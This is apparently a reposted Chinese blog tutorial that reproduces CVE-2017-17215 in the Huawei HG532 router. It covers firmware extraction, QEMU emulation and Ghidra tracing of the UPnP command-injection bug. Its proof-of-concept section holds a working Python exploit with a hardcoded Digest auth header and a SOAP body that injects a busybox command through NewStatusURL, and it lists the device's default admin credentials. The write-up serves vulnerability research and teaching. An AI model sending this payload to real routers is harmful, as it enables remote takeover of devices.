CVE-2017-17215-HG532命令注入漏洞分析
2022-3-7 18:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:20 收藏

点击蓝字
关注我们

上周刚学习路由器固件分析,并尝试复现了一个简单的CVE。中间遇到了很多的坑点,虽然把漏洞复现了,但是过程可谓曲折。

ps:该文章以复现CVE-2017-17215为基础,提供一个详细的固件分析入门手册。

0x01 环境准备

环境准备是分析固件的基础。手里的环境是ubuntu20,中间也尝试过过kali2020。期间尝试过自动化工具Firmadyne,以及其plus版本,但是都失败了,这里一些师傅那里得到建议,Firmadyne工具的镜像和内核太老了,建议手动换新的,此外该自动化分析工具其实也有较大的局限性,所以我建议手动配置一个固件模拟环境十分有必要

下面是环境的配置过程。

ubuntu20 python2

Binwalk安装

Binwalk是一款优秀的固件提取工具,我们拿到手的,需要分析的固件大都是bin文件,这时候BInwalk工具就起到了从中分析出文件系统的作用。

apt下载的和kali自带的Binwalk缺少部分重要的分析插件,建议手动编译安装,避免固件分析失败。

sudo apt-get remove binwalk  //如果有的话,先删除旧版的Binwalk
git clone https://github.com/devttys0/binwalk //从git上获取binwalk
cd binwalk
sudo python3 setup.py install //Binwalk使用python3编译安装

//如果是python2环境,就需要先安装以下依赖
sudo apt-get install python-lzma

如果git出现问题可以尝试把https://改成git://,等待编译完毕即可完成Binwalk的安装。

然后安装一些其他的依赖。Binwalk uses the pycrypto library to decrypt some known encrypted firmware images: Binwalk提供分析一些加密固件的插件,但是用到了pycrypto库,所以我们还要再安装一下该库。

# Python2.7
sudo apt-get install python-crypto

# Python3.x 
sudo apt-get install python3-crypto

Binwalk提供图片和视觉分析。

# Python2.7
sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
sudo pip install pyqtgraph
 
# Python3.x
sudo apt-get install libqt4-opengl python3-opengl python3-pyqt4 python3-pyqt4.qtopengl python3-numpy python3-scipy python3-pip
sudo pip3 install pyqtgraph

Capstone disassembly framework的插件运行需要的python模块如下。

# Python2.7
sudo apt-get install python-pip
sudo pip install capstone

# Python3.x 
sudo apt-get install python3-pip

# Install standard extraction utilitie
$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools

# Install sasquatch to extract non-standard SquashFS image
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev  
$ git clone https://github.com/devttys0/sasquatch  
$ (cd sasquatch && ./build.sh)

以下的选择性安装即可。

# Install jefferson to extract JFFS2 file systems
$ sudo pip install cstruct
$ git clone https://github.com/sviehb/jefferson
$ (cd jefferson && sudo python setup.py install)
 
 
# Install ubi_reader to extract UBIFS file systems
$ sudo apt-get install liblzo2-dev python-lzo
$ git clone https://github.com/jrspruitt/ubi_reader
$ (cd ubi_reader && sudo python setup.py install)
 
 
# Install yaffshiv to extract YAFFS file systems
$ git clone https://github.com/devttys0/yaffshiv
$ (cd yaffshiv && sudo python setup.py install)
 
 
# Install unstuff (closed source) to extract StuffIt archive files
$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
$ sudo cp bin/unstuff /usr/local/bin/

以上是手动安装所有库的过程,如果想要省时间,也可以尝试一下Binwalk的安装文件夹中的自动安装脚本,sudo ./deps.sh,但是这样的安装耗时较长,且容易报错,建议还是采用手动安装需要的几个依赖即可。

安装好了之后,可以尝试一下分析固件。binwalk -Me 固件

在当前的文件夹下即可得到文件系统的根目录。通过file ./bin/busybox的指令即可得到相应的文件架构。

$ file ./bin/busybox
./bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),

至此Binwalk安装完毕。

Qemu安装

相对于Binwalk的手动编译,Qemu相对简单一点,稍微有所了解的同志可能会知道Qemu有系统和用户模式两种。安装的话可以选择不同的需求安装,这里我们选择全部都安装。

Qemu的安装没有很多讲究,一键脚本安装即可

git clone git://git.qemu.org/qemu.git
cd qemu
git submodule init
git submodule update --recursivesudo
apt install libglib2.0 libglib2.0-devsudo
apt install autoconf automake libtoolcd 
qemu && ./configuremakesudo make install

//apt 安装
sudo apt-get install qemu 
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
sudo apt install qemu-user

安装完毕之后,如下图

0x02 漏洞验证

工具安装完毕之后,以下将对漏洞进行验证。

启动服务

首先,需要给Qemu虚拟机准备一个新的网桥,利用该网桥使得Qemu机可以联通互联网,并且和VM虚拟机处于同一网段。

采用的基本方法是分配一个新网卡给Qemu机器,并且使用网桥,将其桥接到原来的网卡。首先需要安装网桥配置工具。

apt-get install bridge-utilssudo apt-get install uml-utilities

然后使用下面的脚本即可。

#! /bin/sh
sudo brctl addbr br0 //创建网桥br0
sudo brctl addif br0 ens33 //连接到ens33
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
//给该网桥分配IP地址,此前不能给ens33分配ipv4的地址

sudo tunctl -t tap0 -u root
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo brctl showstp br0

以上内容保存到一个bash脚本即可,开启虚拟机之前运行一遍。

网络配置好了之后,使用相应的镜像和内核文件启动一个qemu机。https://people.debian.org/~aurel32/qemu/ 以上网址可以下载内核和镜像。

期待使用指定的网桥,且在当前中断开启qemu机器。sudo qemu-system-mips -M malta -kernel ~/Desktop/IOT/vmlinuxs/vmlinux-2.6.32-5-4kc-malta -hda ~/Desktop/IOT/Images/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no

指令的具体含义可以看以下Qemu的说明文档。https://wiki.archlinux.org/title/QEMU_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)

虚拟机的root账户密码是root,成功登录之后,尝试ping以下外网,看能否ping通。

然后使用scp指令,把文件系统都传递给Qemu虚拟机。scp -r 路径 [email protected]:虚拟机路径$ scp -r squashfs-root [email protected]:~/sqashfs-root

文件传输完毕之后,为了能够让VM机访问到Qemu机,使用mount挂载以下dev和proc

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc

不同的文件系统有不同的挂载指令。

此时注意到CVE-2017-17215的漏洞存在于upnp和mic服务中。这两项服务都和网络有关,为了方式漏洞服务启动后,网络环境的变化,使用ssh远程登录该Qemu机器,新建一个console,利用该console启动漏洞服务,利用原有的Qemu窗口保持Qemu的ip不发生改变。

在ssh窗口输入chroot . /bin/sh更改根目录,避免动态链接库报错。

然后执行漏洞服务即可。

# ./bin/upnp
# ./bin/mic

等待执行结束,果然ip发生了改变,利用ifconfig指令把ip地址改回去。

此时,尝试访问该路由器(Qemu机)的ip地址,可以发现成功访问。

默认账户admin,@Hua1234

poc测试

漏洞服务开启之后,可以验证以下漏洞的poc,用的是下面的exp

import requests

headers = {
    "Authorization""Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox mkdir shell;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''

requests.post('http://192.168.146.137:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

post请求的IP地址写Qemu机的IP地址。执行后,结果如下:

成功rce。

0x03 漏洞分析

漏洞环境和服务都已搭建成功,并且已经成功验证。接下来结合固件分析更加深入理解该漏洞的成因。

分析漏洞函数

首先,使用Ghidra打开upnp文件。由poc不难发现,注入命令的位置出现在<NewStatusURL>节点以内。所以先尝试搜索该字符串。

在字符串搜索框搜索,NewStatusURL,的到如下函数。

int FUN_0040749c(int param_1){
  int iVar1;
  int local_418;
  int local_414;
  char acStack1040 [1028];
  
  iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418);
  if (((iVar1 == 0) && (local_418 != 0)) &&
     (iVar1 = ATP_XML_GetChildNodeByName
                        (*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0))
  {
    if (local_414 != 0) {
      snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
               local_418,local_414);
      system(acStack1040);
    }
  }
  return iVar1;
}

容易发现system函数的参数来源于snprintf,再看snprintf函数中,参数的拼接用的是字符串%s传入,没有做任何的过滤处理,由此可以判断,这是由snprintf参数过滤不严格引起的,命令拼接RCE.

尝试查看该函数的交叉引用,发现失败。

这说明该函数是被间接调用的,目前为止,笔者只能想到,该函数是由虚函数表调用(比较常见)

寻找该函数的调用到目前为止,无法前进,但是漏洞的成因找到了。

漏洞触发流程

刚才我们尝试从漏洞函数的调用去寻找漏洞的触发点,失败了,接下来,我们换一种方法,正向的去寻找漏洞的触发点。进入文件系统,尝试搜索,该字符串在哪里出现了。grep -r "NewStatusURL"

在upnp的文件夹下面发现了仅有DevUpg.xml中有该字符串。(说明只有该地方用到了该字符串)

老样子,在Ghidra中搜索DevUpg.xml字符串,找到一个服务注册函数。

int ATP_UPNP_RegDeviceAndService(void)
{
  int iVar1;
  int iVar2;
  int iVar3;
  int iVar4;
  int iVar5;
  int iVar6;
  int iVar7;
  int iVar8;
  int iVar9;
  int iVar10;
  undefined4 local_128;
  undefined4 local_124;
  undefined4 local_120;
  undefined4 local_11c;
  undefined4 local_118;
  undefined4 local_114;
  undefined4 local_110;
  undefined4 local_10c;
  undefined4 local_108;
  undefined4 local_104;
  undefined4 local_100;
  undefined4 local_fc;
  undefined4 local_f8;
  undefined4 local_f4;
  undefined4 local_f0 [2];
  int local_e8;
  int local_e4;
  int local_e0;
  int local_dc;
  int local_d8;
  int local_d4;
  int local_d0;
  int local_cc;
  int local_c8;
  int local_c4;
  int local_c0;
  int local_bc;
  int local_b8;
  int local_b4;
  int local_b0;
  int local_ac;
  int local_a8;
  int local_a4;
  int local_a0;
  int local_9c;
  int local_98;
  int local_94;
  int local_90;
  int local_8c;
  int local_88;
  int local_84;
  int local_80;
  int local_7c;
  int local_78;
  int local_74;
  int local_70;
  int local_6c;
  int local_68;
  int local_64;
  int local_60;
  int local_5c;
  int local_58;
  int local_54;
  int local_50;
  int local_4c;
  int local_48;
  int local_44;
  int local_40;
  int local_3c;
  int local_38;
  int local_34;
  int local_30;
  int local_2c;
  
  local_128 = 0;
  local_124 = 0;
  local_120 = 0;
  local_11c = 0;
  local_118 = 0;
  local_114 = 0;
  local_110 = 0;
  local_10c = 0;
  local_108 = 0;
  local_104 = 0;
  local_100 = 0;
  local_fc = 0;
  local_f8 = 0;
  local_f4 = 0;
  local_f0[0] = 0;
  iVar1 = ATP_UPnP_RegDevice(0,g_stDevDesc._4_4_,"InternetGatewayDevice:1",3,0,0,&local_128);
  iVar2 = ATP_UPnP_RegService(local_128,"urn:www-huawei-com:service:DeviceUpgrade:1","DevUpg.xml",2,
                              0,0,&local_124);
  iVar3 = ATP_UPnP_RegService(local_128,"Layer3Forwarding:1","L3Fwd.xml",3,0,0,&local_120);
  iVar4 = ATP_UPnP_RegService(local_128,"LANConfigSecurity:1","LANSec.xml",2,0,0,&local_118);
  iVar5 = ATP_UPnP_RegService(local_128,"urn:www-huawei-com:service:DeviceConfig:1","DevCfg.xml",2,0
                              ,0,&local_11c);
  iVar5 = iVar2 + iVar1 + iVar3 + iVar4 + iVar5;
  if (iVar5 == 0) {
    iVar1 = ATP_UPnP_RegDevice(local_128,0,"WANDevice:1",3,1,0,&local_110);
    iVar2 = ATP_UPnP_RegService(local_110,"WANCommonInterfaceConfig:1","WanCommonIfc1.xml",2,0,0,
                                &local_10c);
    iVar3 = ATP_UPnP_RegService(local_110,"WANDSLInterfaceConfig:1","WanDslIfCfg.xml",3,0,0,
                                &local_114);
    iVar4 = ATP_UPnP_RegDevice(local_110,0,"WANConnectionDevice:1",3,1,0,&local_108);
    iVar6 = ATP_UPnP_RegService(local_108,"WANDSLLinkConfig:1","WanDslLink.xml",2,0,0,local_f0);
    iVar7 = ATP_UPnP_RegService(local_108,"WANIPConnection:1","WanIpConn.xml",3,1,0,&local_100);
    iVar8 = ATP_UPnP_RegService(local_108,"WANPPPConnection:1","WanPppConn.xml",3,1,0,&local_104);
    iVar9 = ATP_UPnP_RegDevice(local_128,0,"LANDevice:1",2,1,0,&local_fc);
    iVar10 = ATP_UPnP_RegService(local_fc,"LANHostConfigManagement:1","LanHostCfgMgmt.xml",2,0,0,
                                 &local_f8);
    iVar5 = ATP_UPnP_RegService(local_fc,"WLANConfiguration:1","WLANCfg.xml",2,1,0,&local_f4);
    iVar5 = iVar2 + iVar1 + iVar3 + iVar4 + iVar6 + iVar7 + iVar8 + iVar9 + iVar10 + iVar5;
    if (iVar5 == 0) {
      local_e8 = ATP_UPNP_RegAction(local_124,0);
      iVar1 = ATP_UPNP_RegAction(local_124,1);
      local_2c = ATP_UPNP_RegAction(local_f4,2);
      local_30 = ATP_UPNP_RegAction(local_f4,3);
      local_34 = ATP_UPNP_RegAction(local_f4,4);
      local_38 = ATP_UPNP_RegAction(local_f4,5);
      local_3c = ATP_UPNP_RegAction(local_f4,6);
      local_40 = ATP_UPNP_RegAction(local_f4,7);
      local_44 = ATP_UPNP_RegAction(local_f4,0x31);
      local_48 = ATP_UPNP_RegAction(local_f4,0x32);
      local_4c = ATP_UPNP_RegAction(local_f4,0x33);
      local_50 = ATP_UPNP_RegAction(local_f4,0x34);
      local_54 = ATP_UPNP_RegAction(local_f4,0x35);
      local_58 = ATP_UPNP_RegAction(local_f4,0x36);
      local_5c = ATP_UPNP_RegAction(local_f4,0x37);
      local_60 = ATP_UPNP_RegAction(local_f4,0x38);
      local_64 = ATP_UPNP_RegAction(local_f4,0x39);
      local_68 = ATP_UPNP_RegAction(local_118,8);
      local_6c = ATP_UPNP_RegAction(local_11c,9);
      local_70 = ATP_UPNP_RegAction(local_11c,10);
      local_74 = ATP_UPNP_RegAction(local_11c,0xb);
      local_78 = ATP_UPNP_RegAction(local_11c,0xc);
      local_7c = ATP_UPNP_RegAction(local_f0[0],0xd);
      local_80 = ATP_UPNP_RegAction(local_100,0xe);
      local_84 = ATP_UPNP_RegAction(local_100,0xf);
      local_88 = ATP_UPNP_RegAction(local_100,0x10);
      local_8c = ATP_UPNP_RegAction(local_100,0x11);
      local_90 = ATP_UPNP_RegAction(local_100,0x16);
      local_94 = ATP_UPNP_RegAction(local_104,0x12);
      local_98 = ATP_UPNP_RegAction(local_104,0x13);
      local_9c = ATP_UPNP_RegAction(local_104,0x14);
      local_a0 = ATP_UPNP_RegAction(local_104,0x15);
      local_a4 = ATP_UPNP_RegAction(local_104,0x17);
      local_a8 = ATP_UPNP_RegAction(local_104,0x18);
      local_ac = ATP_UPNP_RegAction(local_f8,0x19);
      local_b0 = ATP_UPNP_RegAction(local_f8,0x1a);
      local_b4 = ATP_UPNP_RegAction(local_f8,0x1b);
      local_b8 = ATP_UPNP_RegAction(local_f8,0x1c);
      local_bc = ATP_UPNP_RegAction(local_10c,0x1d);
      local_c0 = ATP_UPNP_RegAction(local_10c,0x1e);
      local_c4 = ATP_UPNP_RegAction(local_104,0x1f);
      local_c8 = ATP_UPNP_RegAction(local_104,0x21);
      local_cc = ATP_UPNP_RegAction(local_100,0x20);
      local_d0 = ATP_UPNP_RegAction(local_100,0x22);
      local_d4 = ATP_UPNP_RegAction(local_100,0x2e);
      local_d8 = ATP_UPNP_RegAction(local_100,0x2f);
      local_dc = ATP_UPNP_RegAction(local_100,0x30);
      local_e0 = ATP_UPNP_RegAction(local_104,0x29);
      local_e4 = ATP_UPNP_RegAction(local_104,0x2a);
      iVar2 = ATP_UPNP_RegAction(local_104,0x2b);
      iVar3 = ATP_UPNP_RegAction(local_104,0x2c);
      iVar4 = ATP_UPNP_RegAction(local_104,0x2d);
      iVar6 = ATP_UPNP_RegAction(local_f0[0],0x23);
      iVar7 = ATP_UPNP_RegAction(local_f0[0],0x24);
      iVar8 = ATP_UPNP_RegAction(local_f0[0],0x25);
      iVar9 = ATP_UPNP_RegAction(local_f0[0],0x26);
      iVar10 = ATP_UPNP_RegAction(local_f0[0],0x27);
      iVar5 = ATP_UPNP_RegAction(local_f0[0],0x28);
      iVar5 = iVar1 + local_e8 + local_2c + local_30 + local_34 + local_38 + local_3c + local_40 +
              local_44 + local_48 + local_4c + local_50 + local_54 + local_58 + local_5c + local_60
              + local_64 + local_68 + local_6c + local_70 + local_74 + local_78 + local_7c +
              local_80 + local_84 + local_88 + local_8c + local_90 + local_94 + local_98 + local_9c
              + local_a0 + local_a4 + local_a8 + local_ac + local_b0 + local_b4 + local_b8 +
              local_bc + local_c0 + local_c4 + local_c8 + local_cc + local_d0 + local_d4 + local_d8
              + local_dc + local_e0 + local_e4 + iVar2 + iVar3 + iVar4 + iVar6 + iVar7 + iVar8 +
              iVar9 + iVar10 + iVar5;
    }
  }
  return iVar5;
}

函数较长,可以不用每一行都明白,大致看懂了该函数的意思是,对于需要通信的设备和服务,进行各自的操作,跟进Action函数,查看一下后续操作。

在后续的操作中,不难发现该函数存在一个明显的间接函数调用。


undefined4 ATP_UPNP_RegAction(int param_1,char *param_2){
  int iVar1;
  char **ppcVar2;
  char *__s1;
  char *__s2;
  
  if ((param_1 != 0) && (*(int *)(param_1 + 0x30) != 0)) {
    ppcVar2 = *(char ***)(param_1 + 0x24);
    if (ppcVar2 != (char **)0x0) {
      __s2 = *(char **)(g_astActionArray + (int)param_2 * 0x10);
      do {
        if (((uint)ppcVar2[1] & 0x40000000) != 0) {
          __s1 = *ppcVar2;
          iVar1 = strcmp(__s1,__s2);
          if (iVar1 == 0) {
            ATP_UPNP_Free(__s1);
            ppcVar2[1] = (char *)((uint)ppcVar2[1] & 0xbfffffff);
            *ppcVar2 = param_2;
            return 0;
          }
        }
        ppcVar2 = (char **)ppcVar2[4];
      } while (ppcVar2 != (char **)0x0);
    }
  }
  return 0x40090000;
}

在函数的第13行,__s2 = *(char **)(g_astActionArray + (int)param_2 * 0x10);查看该全局的函数变量。但是发现没有识别出来这里数据的类型,由于不太会操作Ghidra,所以又回到了IDA,定位到该区域,手动识别了一下(懒得写idapython脚本)

全局的虚表,使用0和1来标号,如果为0则偏移8的位置是函数,如果为1则偏移8的位置是字符串数据。以此来作为一个标记,来有序的,并且保证正确类型向调用者提供接口。

然后回过头来,查看一下上一页的调用。该服务的参数对应的是偏移为0和1的位置,关联到本函数,取出的是74偏移的字符串。

此时发现第一个函数有点眼熟,进去一看


发现就是漏洞函数。于是确定了该漏洞函数的触发时利用间接的虚表调用。检查该虚表的交叉引用。


调用出了本函数全都是UPnPGetActionByName函数。

然后一直向上检查交叉引用,检查到了ATP_UPNP_Init函数。该函数时初始化upnp服务时候所调用的函数,

那么至此该漏洞的出发链也已经完全发现了。

 main -> ATP+UPNP_init -> sub_40B5B4 -> sub_40A9C8 -> UPnPGetActionByName

漏洞触发位置

看一下最终触发漏洞的函数。

undefined4 UPnPGetActionByName(int param_1,char *param_2,char *param_3,char **param_4)
{
  int iVar1;
  int iVar2;
  char **ppcVar3;
  char *pcVar4;
  
  if (param_1 != 0) {
    if (param_2 == (char *)0x0) {
      return 0;
    }
    if (param_4 != (char **)0x0) {
      *param_4 = (char *)0x0;
    }
    for (ppcVar3 = *(char ***)(param_1 + 0x24); ppcVar3 != (char **)0x0;
        ppcVar3 = (char **)ppcVar3[4]) {
      pcVar4 = ppcVar3[1];
      if (((uint)pcVar4 & 0x40000000) == 0) {
        pcVar4 = *ppcVar3;
        iVar1 = (int)pcVar4 * 0x10;
        iVar2 = strcmp(*(char **)(g_astActionArray + iVar1),param_2);
        if ((iVar2 == 0) &&
           ((*(char **)(g_astActionArray + iVar1 + 4) == (char *)0x0 ||
            (iVar1 = strcmp(*(char **)(g_astActionArray + iVar1 + 4),param_3), iVar1 == 0)))) {
          if (param_4 != (char **)0x0) {
            *param_4 = *(char **)(g_astActionArray + (int)pcVar4 * 0x10 + 0xc);
          }
          return *(undefined4 *)(g_astActionArray + (int)*ppcVar3 * 0x10 + 8);
        }
      }
      else {
        iVar1 = strcmp(*ppcVar3,param_2);
        if (iVar1 == 0) {
          if (param_4 == (char **)0x0) {
            return 0;
          }
          *param_4 = pcVar4;
          return 0;
        }
      }
    }
  }
  return 0;
}

可以看到这里return返回的是,return *(undefined4 *)(g_astActionArray + (int)*ppcVar3 * 0x10 + 8);(ppcVar3 = *(char ***)(param_1 + 0x24)返回上级调用查看第一个参数。


继续查看UpnpGetServiceByUrl函数。


经过了预处理之后,如果还没有返回,那么就会继续接下来的判断。


这样的判断和虚表有些类似,但是暂时和我们所需要的分析函数中的g_pstUpnpGvarHead变量没有关系,这个变量在反汇编器中也看不到。

继续看这个函数,再if判断之后,还有一个strcmp函数,可以发现这个比较函数的参数1,已经又snprintf改编为了目前偏移位置的函数。进行了第二次函数判别,判断该服务是否是调用者要调用的目标服务。

所以能够确定该函数是一个,确定调用者调用服务的函数,就是说只要访问url/ctrlt/函数服务就可以访问对应的服务,但是仔细看就会发现snprintf函数给函数服务规定了一定的格式。

只有满足Name_num的格式才是一个合法的服务。关于这个关键的全局变量g_pstUpnpGvarHead该变量只有在UPNP_Init函数才被调用,于是继续往上追踪该变量。

在初始化函数中发现,在这一句中初始化了:g_pstUpnpGvarHead = (int *)ATP_UTIL_GVarGetValue(0x20001,0);

并且该函数是个链接函数,所以无法得知其内容,那么该变量的分析先告一段落,后期会动态调试获得该内存的内容。

回到sub_40A9C8函数调用UpnpGetServiceByUr的位置。发现调用该函数之前也是一些url的分析,调用该函数之后,


是在解析xml格式的文件。解析完了格式就会调用漏洞函数,所以断定,想要触发函数,一定要获得目标全局变量的值,使用qemu-mips-static开启调试模式发现,不会进入到upnp初始化里面去,可能是该服务的原因。

给几张抓包调试图。


总结

  • 逆向服务的时候,要细致,能动调就调试,但是不能一上来就调试,中间有许多的细节还是不要丢失
  • 路由器漏洞入门,学到了许多新的知识,也是分析的第一个CVE,耗时1天半
  • 命令注入,多寻找system函数,这类函数在大型的项目中基本都使用
原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

体验靶场实操,戳链接领免费会员。

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652886081&idx=1&sn=28262effed84df85fca9baab9b5eeba8&chksm=bd59a88c8a2e219a64da83a8a56eab08724ae94608be33fcb547304f152c8b225a817b25563d#rd
如有侵权请联系:admin#unsafe.sh